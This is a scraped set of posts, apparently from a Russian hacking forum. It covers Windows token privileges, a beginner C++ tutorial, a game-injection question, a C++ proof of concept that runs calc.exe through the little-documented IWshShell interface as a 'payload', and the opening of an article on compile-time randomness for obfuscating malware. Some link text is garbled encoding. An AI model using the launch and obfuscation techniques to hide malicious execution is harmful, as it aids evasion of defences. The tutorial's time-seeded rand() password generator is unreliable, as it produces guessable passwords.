0 это код возрата для успешного вызова, если он есть — считается что операция смены привилегий была выполнена успешно.

Наконец последняя [функция](https://learn.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluea), про которую стоит рассказать:

C#:Copy to clipboard

[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true),
        SuppressUnmanagedCodeSecurityAttribute]
        static extern bool LookupPrivilegeValue(
            string lpSystemName,
            string lpName,
            ref LUID lpLuid);

Она отвечает за поиск привилегии по имени, полагаю ведь заметили что мы передаем некое кодовое наименование при вызове TokenHelper :

TokenHelper.SetPrivilege("SeShutdownPrivilege",true);

Именно эта функция отвечает за поиск конкретной привилегии по названию « SeShutdownPrivilege », вот так выглядит ее вызов:

C#:Copy to clipboard

if (bEnablePrivilege)
    tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
else
    tkp.Privileges[2] = 0;

if(LookupPrivilegeValue(null , lpszPrivilege , ref tLUID))
            {
            ..

Переменная bEnablePrivilege булевая, это и есть то самое true передаваемое в качестве второго аргумента, а блок:

C#:Copy to clipboard

if (bEnablePrivilege)
    tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
else
    tkp.Privileges[2] = 0;

Итого​

Все описанное не призыв к немедленным действиям, а лишь повод к размышлению ~~о смысле бытия~~. Ну там насчет надежности, безопасности и всего такого — что вам продает большая иностранная корпорация.

Задумайтесь, если увидите любимую венду на атомной станции или военном объекте — без всяких ЦРУ и хакеров в ОС Windows адова гора функционала, который легко и просто можно использовать во вред.

Click to expand...

Копипаста для любимого XSS от Panchitos
Дополнительная ссылка на источник и на автора -

habr.com

[ ЧиÑÑÐ°Ñ Windows и ÑазÑабоÑка «без вÑего»

](https://habr.com/ru/articles/837570/)

ÐÑÑÑ ÐºÐ¾Ð¼Ð¿ÑÑÑÐµÑ Ñ ÑиÑÑой копией Windows, без доÑÑÑпа в инÑеÑÐ½ÐµÑ Ð¸ без какиÑâлибо ÑÑÑановленнÑÑ ÑÑедÑÑв ÑазÑабоÑки. ТолÑко одна ÑиÑÑÐ°Ñ Ð¿Ð¾Ð»ÑзоваÑелÑÑÐºÐ°Ñ Â«Ð²ÐµÐ½Ð´Ð°Â». Ðе повеÑиÑе,...

![habr.com](/proxy.php?image=https%3A%2F%2Fassets.habr.com%2Fhabr- web%2Fimg%2Ffavicons%2Ffavicon-16.png&hash=92e2dae146214fab23606c51ef42d36d&return_error=1) habr.com

[ Alex Chernyshev aka alex0x08 - Ðемного Ð¿Ð¾Ð½Ð¸Ð¼Ð°Ñ Ð²

компÑÑÑеÑÐ°Ñ ](https://habr.com/ru/users/alex0x08/)

Alex Chernyshev aka alex0x08. ÐпÑбликовал 9 ÑÑаÑей на Ð¥Ð°Ð±Ñ Ð¸ оÑÑавил 60 комменÑаÑиев.

![habr.com](/proxy.php?image=https%3A%2F%2Fassets.habr.com%2Fhabr- web%2Fimg%2Ffavicons%2Ffavicon-16.png&hash=92e2dae146214fab23606c51ef42d36d&return_error=1) habr.com

Изучаем с++ и разбираем простые программы 1/5
ID: 6765d804b4103b69df3756e0
Thread ID: 119731
Created: 2024-07-28T12:54:17+0000
Last Post: 2024-07-28T15:56:31+0000
Author: network work
Prefix: Статья
Replies: 5 Views: 1K

Авторnetwork work
Источник https://xss.is

Всем доброго вечера друзья , я решил создать статью где объясню что такое с++ , для чего он предназначен и т.п. Всего думаю будет 5 статей , но на данный момент 1/5 будем самой легкий . А так же я покажу пару простых скриптов с объяснением кода. Присаживайтесь поудобнее а мы начинаем , хорошего чтения !!!!

Статья будет делиться на 3 этапов
1.Введение - что такое с++ , кто создал этот язык , для чего предназначен и не только
2. Практика - примеры простых скриптов + объяснения кода
3. Заключение

Введение в с++

С++ - это мощный язык программирование который славиться своей гибкостью (на этом языке можно написать буквально все ) и эффективностью ,что сделало его популярным среди программистов .А так же на этом языке были написаны такие программы как WinRAR,Blender,Firefox,Coogle Chrome и т.п .Создатель данного языка является не мало известный Бьерн Страуструпомв .Данный язык был создан как расширение языка С с добавлением многих возможностей .Про этот язык можно писать буквально вечно , более подробно можете узнать в интернете

Подходящий компиляторы для с++ , я подобрал пару компиляторов для удобного кодинга
1.GNU Compiler Collection - это свободный компилятор .Он поддерживает не только с++ а так же еще множество языков программирования .

Плюсы данного компилятора - Высокая оптимизация кода , Открытый исходный код , Обширная поддержка языков .

Минусы компилятора - Иногда может потребовать время для компиляции большой программы

MSVC (Microsoft Visual c++) - Данный компилятор был создан компанией Microsoft ,компилятор удобный и практичный
Плюсы - поддерживает последние стандарты с++ , проста в использовании , да и сам по себе компилятор приятный

Минусы - Если писать большие проекты то может долго компилировать

Эти компиляторы я сам использовал и могу сказать с уверенностью что они удобны в работе и особо проблем у меня с этими компиляторами не возникало
Практика

Давайте разберем пару простых скриптов на этом языке .Первый скрипт у нас будет отвечать за прогноз погоды , то есть он будет спрашивать у юзера какое у него время года и при помощи рандомизации давать ответ

1722163168083.png

C++:Copy to clipboard

#include <iostream>
#include <cstdlib>
#include <ctime>

using namespace std;

int generate_temperature(const string& season) {
    int temperature;

    if (season == "лето") {
        temperature = rand() % 35;
    } else if (season == "зима") {
        temperature = -1 * (rand() % 25);
    } else if (season == "весна" || season == "осень") {
        temperature = -15 + (rand() % 35);
    } else {
        throw invalid_argument("Неизвестный сезон года :( Попробуйте еще разок ");
    }

    return temperature;
}

int main() {
    srand(static_cast<unsigned int>(time(0)));

    string season;
    cout << "Какое сейчас время года ? ";
    cin >> season;

    try {
        int temperature = generate_temperature(season);
        cout << "Я думаю на улице у вас  " << season << ". А температору +- : " << temperature << "°C." << endl;
    } catch (const invalid_argument& e) {
        cerr << e.what() << endl;
    }

    return 0;
}

Давайте разберем скрипт

C++:Copy to clipboard

#include <iostream>

- это первая строчка кода отвечает за ввод и вывод .Если простыми словами то эта библиотека дает возможность работать с потоками ввода и вывода cin и cout. Которые предназначены для чтения данных и вывода на экран

C++:Copy to clipboard

#include <cstdlib>

- В данном случаи я подключил эту библиотеку для работы с функцией генерации случайных чисел .А так если говорить о библиотеке в общих чертах то она содержит функции для работы с памятью и управления программой

C++:Copy to clipboard

#include <ctime>

- В данном скрипте это библиотека представляет функции для получения текущего времени , которая нужна для генератора случайных чисел

C++:Copy to clipboard

using namespace std;

- это строчка облегчает работу написание той же программы . если не прописать данную строчку то нам придётся буквально везде прописывать std:: перед какой то функцией . Можно писать "cout" вместо "std::cout" и т.п

C++:Copy to clipboard

int generate_temperature(const string& season) {

- данная строчка объявляет функцию "generate_temperature" которая будет возвращать целое число а так же принимать один аргумент "const string& season" (const[/CODE] - означает что функция не изменит переданную строку можно сказать , а string& дает возможность избежать копирования строки и делает все передачу более эффективной ).Если простыми словами то это строчка говорит о том что функция generate_temperature будем принимать строку сезона (лето , зима , осень , лето ) и будет возвращать число

C++:Copy to clipboard

int temperature;

- строчка объявляет переменную "temperature" которая будет отвечать за хранения сгенерированного числа ( в данном случаи температуру )

C++:Copy to clipboard

if (season == "лето") {

- проверяет если человек ввел в нашем случаи время года "лето" то продолжает работу кода

C++:Copy to clipboard

temperature = rand() % 35;

- данная команда отвечает за генерацию случайного числа от 0 до 35 и присваивает готовое число к переменной "temperature".

C++:Copy to clipboard

} else if (season == "зима") {

- данная строчка отвечает за проверку слова "зима". Если юзер ввел слово зима то скрипт выполняет дальнейшие действия .

C++:Copy to clipboard

temperature = -1 * (rand() % 25);

- Команда генерирует случайное число от 0 до 25 а затем умножает его на -1 чтобы в конце получить реалистичную температуру

C++:Copy to clipboard

} else if (season == "весна" || season == "осень") {

- команда отвечает за проверку слова "осень,весна" .Если данные слова ввел юзер продолжает работу кода

C++:Copy to clipboard

temperature = -10 + (rand() % 35);

- генерирует число от 0 до 35 и прибавляет -10 чтобы получать реалистичную температуру

C++:Copy to clipboard

} else {

- если юзер не ввел ни одно время года то сркипт запустит нижний код

C++:Copy to clipboard

throw invalid_argument("Неизвестный сезон года :( Попробуйте еще разок ");

- это строчка будет выведана в консоль если произойдёт какая то ошибка.

C++:Copy to clipboard

 return temperature;

- возвращает значения переменной "temperature"

C++:Copy to clipboard

int main() {

- строчка предназначена для начала основной функции скрипта .

C++:Copy to clipboard

srand(static_cast<unsigned int>(time(0)));

- Инициализирует генератор случайных чисел с использованием текущего времени , это позволяет скрипту получить разные числа при каждом запуске скрипта

C++:Copy to clipboard

string season;

- объявления переменную season , для чего она ?Все проста , она будет хранить введенное пользователем значение .

C++:Copy to clipboard

cout << "Какое сейчас время года ? ";

- выводит в консоль вопрос , чтобы пользователь ввел свой ответ

C++:Copy to clipboard

cin >> season;

- читает веденное слово или число пользователя и сохраняет ответ в выше сказанную переменную "season"

C++:Copy to clipboard

try {

- Если простыми словами то сейчас разберем код который предназначен для исключений

C++:Copy to clipboard

int temperature = generate_temperature(season);

- вызывает в работу функцию generate_temperature передавая введённые данные юзера и сохраняет как итог все в переменную temperature

C++:Copy to clipboard

cout << "Я думаю на улице у вас  " << season << ". А температору +- : " << temperature << "°C." << endl;

- Выводит в консоль окончательное сообщения ( текущий сезон и с рандом температура )

C++:Copy to clipboard

} catch (const invalid_argument& e) {

- строка отвечает за обработку исключение invalid_argument

C++:Copy to clipboard

cerr << e.what() << endl;

- выводит сообщение об ошибке на привычный поток ошибок cerr

C++:Copy to clipboard

return 0;

- Завершает данный скрипт и возвращает 0 , что как правило показывает успешное завершение

Вот и все первый скрипт мы разобрали , давайте попробуем сейчас написать скрипт который будет высчитывать символы в вашем сообщении .

1722163259850.png

Сам код

C++:Copy to clipboard

#include <iostream>
#include <string>

using namespace std;

int count_characters(const string& str, bool ignore_spaces) {
    int count = 0;
    for (char ch : str) {
        if (ignore_spaces && ch == ' ') {
            continue;
        }
        count++;
    }
    return count;
}

int main() {
    string input;
    char choice;

    cout << "Vvedite stroky ";
    getline(cin, input);

    cout << "Ignor probel ? (y/n): ";
    cin >> choice;

    bool ignore_spaces = (choice == 'y' || choice == 'Y');

    int char_count = count_characters(input, ignore_spaces);
    cout << "Kol-vo simvolov v stroke " << char_count << endl;

    return 0;
}

Данный скрипт запрашивает у юзера текст ,затем спрашивает надо посчитать символы включая пробелы или без .После ответа мы получаем количество символов в вашем тексте .Давайте разберем скрипт .

C++:Copy to clipboard

#include <iostream>

- включает библиотеку ввода и вывода .Если своими словами библиотека позволяет работать с такими командами как std::cout и std::cin

C++:Copy to clipboard

#include <string>

- Включает библиотеку для работы со строками типа string

C++:Copy to clipboard

using namespace std;

- Дает возможность без необходимости писать чуть что std:: ( чуть подробнее описал в первом скрипте )

C++:Copy to clipboard

int count_characters(const string& str, bool ignore_spaces) {

- Можно сказать строчка объявляет функции которую принимает строку "str" и логическое значения ignore_spaces

C++:Copy to clipboard

int count = 0;

- создание переменной "count" которая будет предназначена для хранение в нашем случаи количество символов .

C++:Copy to clipboard

for (char ch : str) {

- строчка можно сказать запускает цикл for-each который будет проходить по каждому символу строки "str". Что такое цикл for-each ? for-each - это цикл который дает возможность проходить по элементам "сейфа"(например , строки ,список , массивы ) без использования индексов .А так же он упрощает работу , делая код более восприимчивым

C++:Copy to clipboard

if (ignore_spaces && ch == ' ') {
continue;
}

- если "ignore_spaces" равен "true" а так же символов является пробелом , пропускает этот символ с помощью "continue"

C++:Copy to clipboard

count++;

- строчка можно сказать увеличивает значение count на 1 для тех символов которые не были пропущены

C++:Copy to clipboard

return count;}

- код возвращает итоговое количество символов

C++:Copy to clipboard

int main() {

- Можно сказать объявляет функцию main , которая является началом входа в основную программу

C++:Copy to clipboard

string input;    char choice;

- строчка объявляет переменные "input" для хранения введённой строки .А "choice" для хранение ответа пользователя

C++:Copy to clipboard

cout << "Vvedite stroky ";    getline(cin, input);

- "cout" выводит сообщение в консоль с просьбой вести данные ( в нашем случаи строчку) .А getline(cin, input); - можно сказать считывает всю введенную строку с пробелами и сохраняет все при все в переменную "input"

C++:Copy to clipboard

cout << "Ignor probel ? (y/n): ";    cin >> choice;

- "cout" выводит сообщение юзеру с просьбой указать стоит ли игнорировать пробелы или нет

C++:Copy to clipboard

>> choice;

- считывает ответ юзера ( в нашем случаи y или n) и сохраняет в переменной "choice"

C++:Copy to clipboard

bool ignore_spaces = (choice == 'y' || choice == 'Y');

- строчка можно сказать присваивает "true" переменной "ignore_spaces" если "choise" равен y или Y .В худшем случаи присваивается "false"

C++:Copy to clipboard

int char_count = count_characters(input, ignore_spaces);

- вызывает функцию count_characters ,а так же передает можно сказать все данные "ignore_spaces" и сохраняет результат в переменной char_count
cout << "Kol-vo simvolov v stroke " << char_count << endl;[/CODE] - Выводит окончательные данные (В нашем случаи итоговую цифру)

C++:Copy to clipboard

return 0;} -

как и выше сказал , возвращает 0 , что показывает успешное завершение скрипта

Давайте разберем сркипт который будет спрашивать у юзера время а затем запускать обратный отсчет
1722163323925.png

C++:Copy to clipboard

#include <iostream>
#include <thread>
#include <chrono>

using namespace std;

void display_time(int hours, int minutes, int seconds) {
    cout << (hours < 10 ? "0" : "") << hours << ":"
         << (minutes < 10 ? "0" : "") << minutes << ":"
         << (seconds < 10 ? "0" : "") << seconds << "\r";
    cout.flush();
}

void countdown(int hours, int minutes, int seconds) {
    while (hours > 0 || minutes > 0 || seconds > 0) {
        display_time(hours, minutes, seconds);
        this_thread::sleep_for(chrono::seconds(1));
        if (seconds > 0) {
            seconds--;
        } else {
            seconds = 59;
            if (minutes > 0) {
                minutes--;
            } else {
                minutes = 59;
                if (hours > 0) {
                    hours--;
                }
            }
        }
    }
    display_time(0, 0, 0);
    cout << "Обратный отсчет завершен!" << endl;
}

int main() {
    int hours, minutes, seconds;
    cout << "Введите количество часов: ";
    cin >> hours;
    cout << "Введите количество минут: ";
    cin >> minutes;
    cout << "Введите количество секунд: ";
    cin >> seconds;

    countdown(hours, minutes, seconds);

    return 0;
}

Давайте разберем довольно легкий скрипт

C++:Copy to clipboard

#include <iostream>

- подключаем библиотеку для работы с вводом и выводом

C++:Copy to clipboard

#include <thread>

- Данная библиотека нужна для работы с потоками

C++:Copy to clipboard

#include <chrono>

- А эту библиотеку мы подключили для работы с временем

C++:Copy to clipboard

using namespace std;

- Данная строчка дает возможность как и говорил выше не писать std:: что очень удобно придумано

C++:Copy to clipboard

void display_time(int hours, int minutes, int seconds) {

- строчка отвечает за объявление функции которая будет отображать время в нужном нам формате

C++:Copy to clipboard

 cout << (hours < 10 ? "0" : "") << hours << ":"

- Если количество часов меньше 10 то добавляется ведущий ноль перед числом а затем скрипт выводит двоеточие .Это все сделано для приятной работы юзера

C++:Copy to clipboard

   << (minutes < 10 ? "0" : "") << minutes << ":"

- Если количество минут меньше 10 то добавляется ведущий ноль перед числом а затем выводится символ возврата , чтобы перезаписать текущую строку на экране

C++:Copy to clipboard

    << (seconds < 10 ? "0" : "") << seconds << "\r";

- Если количество секунд меньше 10 то добавляется ведущий ноль перед числом а затем скрипт выводит двоеточие .
cout.flush();
}

C++:Copy to clipboard

cout.flush();

- данная строчка можно сбрасывает буфер вывода , чтобы данные сразу отобразились на экране

C++:Copy to clipboard

void countdown(int hours, int minutes, int seconds) {

- строчка отвечает можно сказать за начало функции выполнения обратного отсчета

C++:Copy to clipboard

while (hours > 0 || minutes > 0 || seconds > 0)

- цикл будет продолжаться пока не закончиться время (если простыми словами то обратный отсчет будет идти до тех пор пока не закончиться время )

C++:Copy to clipboard

display_time(hours, minutes, seconds);

- функция вызывается для отображении текущего времени для юзера

C++:Copy to clipboard

this_thread::sleep_for(chrono::seconds(1));

- строчка отвечает за задержку выполнения программы в размере одной секунды

C++:Copy to clipboard

if (seconds > 0) { seconds--; }

- если кол во секунд больше нуля то скрипт уменьшит количество секунд

C++:Copy to clipboard

else { seconds = 59; if (minutes > 0) { minutes--; } else { minutes = 59; if (hours > 0) { hours--; } } }

- тут чуть труднее , если кол во секунд равно нулю оно сбрасывается на 59 а так скрипт уменьшает количество минут .Если кол во минут тоже равно нулю то оно так же сбрасывается на 59 и уменьшает количество часов

C++:Copy to clipboard

display_time(0, 0, 0);

- показывает финальное время ( 00:00:00)

C++:Copy to clipboard

cout << "Обратный отсчет завершен!" << endl;

- дает знать если обратный отсчет указанного юзером времени подошел к концу

C++:Copy to clipboard

int hours, minutes, seconds;

- объявляем можно сказать переменные для хранения количество часов минут и секунд

C++:Copy to clipboard

cout << "Введите количество часов: "; cin >> hours;

- запрашивает у пользователя количество часов и сохраняет в переменную "hours "

C++:Copy to clipboard

cout << "Введите количество минут: "; cin >> minutes;

- Так же запрашивает у пользователя количество уже минут и сохраняет в переменную "minutes"

C++:Copy to clipboard

cout << "Введите количество секунд: "; cin >> seconds;

- тоже самое делается только уже с секундами а так же все сохраняется в переменную "seconds"

C++:Copy to clipboard

countdown(hours, minutes, seconds);

- строчка вызывает функцию countdown для выполнения обратного отсчета

C++:Copy to clipboard

return 0; -

завершение данной программы

Последний бонусный скрипт будет генерировать для вас пароли .Я решил его добавить чтобы вы чуть лучше поняли работу генерации в с++
1722170810307.png

C++:Copy to clipboard

#include <iostream>
#include <string>
#include <cstdlib>
#include <ctime>

using namespace std;

string generate_password(int length) {
    const string characters = "qwertyuiop[asdfghjkl;'zxcvbnm,./123456789";
    string password = "";

    srand(static_cast<unsigned int>(time(0)));

    for (int i = 0; i < length; ++i) {
        int index = rand() % characters.size();
        password += characters[index];
    }

    return password;
}

int main() {
    int length;
    cout << "Введите длину пароля: ";
    cin >> length;

    if (length < 1) {
        cout << "Длина пароля должна быть положительным числом." << endl;
        return 1;
    }

    string password = generate_password(length);
    cout << "Сгенерированный пароль: " << password << endl;

    return 0;
}

C++:Copy to clipboard

#include <iostream>

- - это библиотека отвечает за подключение ввода/вывода

C++:Copy to clipboard

#include <string>

- библиотека для работы со строками

C++:Copy to clipboard

#include <cstdlib>

- в данном случаи это библиотека отвечает за генерацию случайных чисел

C++:Copy to clipboard

#include <ctime>

- а это библиотека для работы со временем

C++:Copy to clipboard

using namespace std;

- а это как и говорил дает возможность не писать постоянно ::std перед какой- то функцией . Проще говоря упрощает написание кода

C++:Copy to clipboard

string generate_password(int length)

- строчка можно сказать объявляет функцию которая принимает целое число "length" и возвращает строку

C++:Copy to clipboard

const string characters = "qwertyuiop[asdfghjkl;'zxcvbnm,./123456789";

- определяет строку characters в которой принципе содержится все возможные буквы и цифры для пароля .(вы можете изменить символы для определенной генерации )

C++:Copy to clipboard

 string password = ""

- если простыми слова то в эту строчку будет записываться сгенерированный пароль

C++:Copy to clipboard

srand(static_cast<unsigned int>(time(0)));

- отвечает за генерацию случайных чисел для разнообразия

C++:Copy to clipboard

for (int i = 0; i < length; ++i)

- этот цикл выполняет генерацию пароля нужной длины а сама длина пароля храниться в length

C++:Copy to clipboard

int index = rand() % characters.size();

- генерирует случайное число которое всегда находиться в пределах от 0 до длины строки characters

C++:Copy to clipboard

password += characters[index]

- characters добавляет случайный символ в строчку password

C++:Copy to clipboard

return password;

- возвращает уже сгенерированный пароль

C++:Copy to clipboard

int length;

- объявляет можно сказать переменную length которая будет хранить сам пароль

C++:Copy to clipboard

cout << "Введите длину пароля: ";

- выводит в коносль запрос для ввода длины пароля

C++:Copy to clipboard

cin >> length;

- читает и сохраняет выше введенный запрос

C++:Copy to clipboard

if (length < 1)

- проверка пароля на длину меньше чем один

C++:Copy to clipboard

cout << "Длина пароля должна быть положительным числом." << endl;

- если что то пошло не так выводит ошибку в консоль

C++:Copy to clipboard

return 1;

- завершает программу с кодом ошибки 1 ( безуспешная выполнение программы )

C++:Copy to clipboard

string password = generate_password(length);

- включает в работу generate_password с длинной length и сохраняет результат в переменную password

C++:Copy to clipboard

cout << "Сгенерированный пароль: " << password << endl;

- выводит на экран юзера уже готовый пароль

C++:Copy to clipboard

return 0;

- завершает программу и означает успех выполнение

Данные скрипты будет полезны для начинающих в с ++ , я старался как можно проще и понятнее все объяснить. Если вы заинтересованы в изучении ++ то я вам рекомендую тщательно изучить код и постараться изменить его. А если у вас возникнуть вопросы то я всегда смогу их ответить тут или в тг

Заключения
.
Данная статья была создана с целью ознакомления вас с языком с++ .Я постарался объяснить простые скрипты на живом примере , и так . Давайте подведем итоги .Что такое с ++ ? с++ это язык программирования который славиться своей гибкостью и многофункциональностью .Данный язык был создан как улучшенная версия можно сказать языка C .На плюсах было написано много очень интересных и известных программ . Какое направления больше всего подходит для данного языка ? Сам по себе с++ больше подходит для каких то серьезных проектов что не скажешь о том же python .На плюсах можно написать буквально все начиная от системного программного обеспечение заканчивая финансовыми системами или играми .В целом об этом языке можно говорить вечность потому что он действительно мощный и является одним из настолько гибких языков .Стоит ли изучать данный язык ? Ответ зависит от вашего направления если вы стремитесь к успехам в сфере кодинга то однозначно да .А если вы хотите попробовать себя в кодинге то думаю не стоит начинать с данного языка , лучше изучите тот же python .

Благодарю вас за прочитанную мной статью я старался объяснить все как можно проще .Если проявите хотя-бы какой-то актив то думаю напишу еще статью на тему изучения с++ но уже более серьезный скрипт ( а так же предлагайте свои тематики для написание скриптов , был бы очень рад )

Как создавать софты для игры имея исходный код?
ID: 6765d804b4103b69df3756e1
Thread ID: 119655
Created: 2024-07-26T21:51:05+0000
Last Post: 2024-07-28T15:10:39+0000
Author: assembler
Replies: 18 Views: 1K

Всем привет, очень мало знаю в C++, играю в игрулю и хочу сделать туда вспомогательный скрипт для себя и своих кентов(не читы. чисто визуальную х#йню)

И нашел вот такую документацию на офф.сайте

[ Development/ru

](https://wiki.ddnet.org/wiki/Development/ru#%D0%92%D0%B0%D1%88%D0%B0_%D1%81%D1%80%D0%B5%D0%B4%D0%B0_%D1%80%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B8)

wiki.ddnet.org wiki.ddnet.org

Можете ли вы дать мне какие то ссылки на уроки, и направить вообще что нужно делать? Как мне обращаться к переменным игры через внешний софт, получается мне нужно делать инжект скрипта? Или через .dll можно ?

Странный и недокументированный способ запуска программы
ID: 6765d804b4103b69df3756e6
Thread ID: 118960
Created: 2024-07-16T02:50:36+0000
Last Post: 2024-07-21T11:50:32+0000
Author: smelly__vx
Replies: 5 Views: 1K

Я использую переводчик. Надеюсь, это хороший переводчик) Я гость и иностранец. Это моя попытка быть вежливым. Пожалуйста, извините за любые ошибки.

Я изучал различные методы запуска программы. Все используют одни и те же методы, поэтому давайте попробуем что-то другое.

Я решил использовать IWshShell. IWshShell используется Visual Basic для запуска программ. Этот объект можно инициализировать на C++ для использования интерфейса Visual Basic. Это плохо документировано. Есть некоторая документация по нему 1990-х годов, но она плохая.

Вот мой код для проверки концепции. Его можно улучшить, другие перечисленные методы мне еще предстоит разработать. Я все еще экспериментирую с CreateShortcut, RegDelete, RegWrite, RegRead и ExpandEnvironmentVariables. Все перечисленные функции работают, но обеспечение их работоспособности в C++ может оказаться неприятным.

Хорошего дня =D

C++:Copy to clipboard

#include <Windows.h>
#include <objidl.h>
#include <Propvarutil.h>

DWORD Win32FromHResult(_In_ HRESULT Result)
{
    if ((Result & 0xFFFF0000) == MAKE_HRESULT(SEVERITY_ERROR, FACILITY_WIN32, 0))
        return HRESULT_CODE(Result);

    if (Result == S_OK)
        return ERROR_SUCCESS;

    return ERROR_CAN_NOT_COMPLETE;
}

struct __declspec(uuid("{f935dc21-1cf0-11d0-adb9-00c04fd58a0b}"))
    IWshShell : public IUnknown {
    virtual PVOID __stdcall CreateShortcut(PWCHAR) = 0;
    virtual PWCHAR __stdcall ExpandEnvironmentString(PWCHAR) = 0;
    virtual INT64 __stdcall Popup(PWCHAR, PVOID, PVOID) = 0;
    virtual VOID __stdcall RegDelete(PWCHAR) = 0;
    virtual HRESULT __stdcall RegRead(_In_ BSTR FullRegistryPath, _Out_ VARIANT* AllocatedReadValue) = 0;
    virtual VOID __stdcall RegWrite(PWCHAR, PVOID, PVOID) = 0;
    virtual DWORD __stdcall Run(_In_ BSTR BinaryPath, _In_opt_ VARIANT* WindowStyle, _In_opt_ VARIANT* WaitOnReturn, _Out_ PDWORD ExitCode) = 0;
};

INT main(VOID)
{
    IWshShell* Shell = NULL;
    HRESULT Result = S_OK;
    GUID Clsid, Iid;
    VARIANT wWindowStyle, wWaitOnReturn;
    BSTR Payload = NULL;
    BOOL bFlag = FALSE;
    DWORD dwReturn = ERROR_SUCCESS;
    DWORD dwExitCode = ERROR_SUCCESS;

    wWaitOnReturn.vt = VT_EMPTY;
    wWindowStyle.vt = VT_EMPTY;

    Result = CLSIDFromString(L"{72C24DD5-D70A-438B-8A42-98424B88AFB8}", &Clsid);
    if (!SUCCEEDED(Result))
        goto EXIT_ROUTINE;

    Result = CLSIDFromString(L"{f935dc21-1cf0-11d0-adb9-00c04fd58a0b}", &Iid);
    if (!SUCCEEDED(Result))
        goto EXIT_ROUTINE;

    Result = CoInitializeEx(NULL, COINIT_MULTITHREADED);
    if (!SUCCEEDED(Result))
        goto EXIT_ROUTINE;

    Result = CoCreateInstance(Clsid, NULL, CLSCTX_ALL, Iid, (PVOID*)&Shell);
    if (!SUCCEEDED(Result))
        goto EXIT_ROUTINE;

    Payload = SysAllocString(L"C:\\Windows\\System32\\calc.exe");
    if(Payload == NULL)
        goto EXIT_ROUTINE;

    if (Shell->Run(Payload, &wWindowStyle, &wWaitOnReturn, &dwExitCode) != ERROR_SUCCESS)
        goto EXIT_ROUTINE;

    bFlag = TRUE;

EXIT_ROUTINE:

    if (!bFlag)
        dwReturn = Win32FromHResult(Result);

    if (Payload)
        SysFreeString(Payload);

    CoUninitialize();

    return dwReturn;
}
Пишем компайл-тайм генератор псевдо-рандомных чисел на чистых шаблонах
ID: 6765d804b4103b69df3756e9
Thread ID: 117338
Created: 2024-06-22T04:31:17+0000
Last Post: 2024-07-16T06:29:05+0000
Author: d4x0n3l
Prefix: Статья
Replies: 2 Views: 1K

Всем привет!
Это моя первая статья на этом форуме и я решил начать с чего-то простенького, не судите строго. :)

Порой читая код опенсорсных плюсовых малварей, складывается не самое лучшее впечатление о коде, нередко люди предпочитают обмазываться макросами и непортабельными расширениями компиляторов, особенно это касается генерации псевдо-случайных чисел, шифрования строк, обфускации вызовов и тому подобного, сегодня я постараюсь это немного исправить и заодно разобрать одну из интереснейших техник в плюсовой компайл-тайм разработке, появившуюся ещё в C++ 14 и окончательно утвердившуюся в C++ 20 с эволюцией NTTP и появлением лямд в unevaluated контексте, более известную как лупхолы типов или просто лупхолы.

Эта статья не претендует на какую-то эксклюзивную информацию, ибо сегодня об этой технике знает наверное уже каждый опытный C++ разработчик, но несмотря на это, оговорюсь, что [плюсовой комитет считает эту технику эксплуатацией дизайна языка и предлагает её к запрету ещё с 2015 года](https://www.open- std.org/jtc1/sc22/wg21/docs/cwg_active.html#2118). Тем не менее техника полностью соответствует стандарту языка и является портабельной, а учитывая, что её использует буст и даже гугл, маловероятно что её все же запретят, ведь с другими распространенными "хитрыми" техниками этого не произошло. =)

Заранее оговорюсь, я буду взаимозаменяемо использовать слова класс и структура, ибо особой разницы между ними нет (если выкинуть баги с шаблонами, то единственной разницей будет дефолтный доступ к элементам).
В основном я постараюсь показать простые примеры применения, но на самом деле этими примерами применение лупхолов не ограничивается - их можно использовать и для построения гораздо более сложных алгоритмов, включая stateful компайл- тайм парсинга сложных SQL запросов к базам данных, создания псевдо- рефлексии и так далее, короче говоря очень мощная техника.

Тем не менее, несмотря на всю свою мощь, сама техника проста как табуретка:
Мы создаем шаблонный класс или структуру с friend функцией, которая принимает саму структуру или её шаблонные параметры в качестве своего аргумента, что, как вы уже догадались, создает селф-референс на структуру и получается типовой луп.
Это происходит потому, что friend функции обладают форвард декларацией в классах и не привязаны к самим классам, то есть нам необязательно объявлять их до объявления класса, чтобы сослаться на них, что и делает лупхолы возможными.
Но как же теперь получить "референс" на эту функцию? Здесь и кроется весь секрет, штука в том, что C++ ищет функции по их аргументам, это называется Argument Dependent Lookup или просто ADL. Давайте взглянем на этот классический пример лупхола:

C++:Copy to clipboard

template <std::size_t I> struct Tag {};
template <typename T, std::size_t I>
struct Loophole { friend auto Get(Tag<I>) { return T{}; } };

// декларация friend функции (или если более пафосно, "инжект friend функции в глобальный неймспейс" (c) комитет)
// и инстанциация специализации структуры, порядок не важен, так как возвращаемый тип функции ещё не был дедуцирован
auto Get(Tag<0>);
Loophole<std::size_t, 0> lh{};

// заставляем компилятор дедуцировать возвращаемый тип
static_assert(std::is_same_v<decltype(Get(Tag<0>{})), std::size_t>);

Что же здесь происходит? У нас есть функция Get, которая не привязана к классу и не является его методом, при этом она объявлена внутри класса и может использовать его шаблонные параметры, в том числе для своих аргументов.
Далее идет декларация функции с конкретным типом аргумента, в данном случае это Tag<0> (вместо NTTP с 0 здесь может быть и тип, это не так важно), C++ находит эту функцию по типу её аргумента используя ADL, и инстанциирует эту специализацию функции в глобальный неймспейс, это называется инжектом, после чего мы явно инстанциируем специализацию типа класса Loophole с первым шаблонным параметром типа std::size_t и тем же индексом, который был у аргумента при инстанциировании функции Get строкой выше. На этом моменте компилятор сохранил у себя в памяти 2 типа:
struct Loophole<std::size_t, 0>
auto Get(Tag<0>)

Теперь всё, что нам остается, это заставить компилятор дедуцировать для нас возвращаемый тип функции Get с аргументом Tag<0>, так как эта функция возвращает значение с типом первого параметра из шаблона Loophole, то компилятор обратится к struct Loophole<std::size_t, 0> и вытащит этот тип оттуда, в нашем случае это и будет std::size_t. Звучит круто, не правда ли?)

С теорией разобрались, дальше так подробно детали я пояснять не буду для экономии моего времени и времени читателя.
Прежде чем писать генератор псевдо-случайных чисел, сначала нам нужно будет написать counter и storage, для начала нам нужны сами лупхолы:

Spoiler

C++:Copy to clipboard

namespace loophole
{
    enum class State { Value };

    template <typename TTag>
    struct Flag { friend consteval State Get(Flag); };

    template <typename TTag, typename TFlag>
    struct Creator { friend consteval State Get(TFlag) { return State::Value; } };

    template <typename TTag>
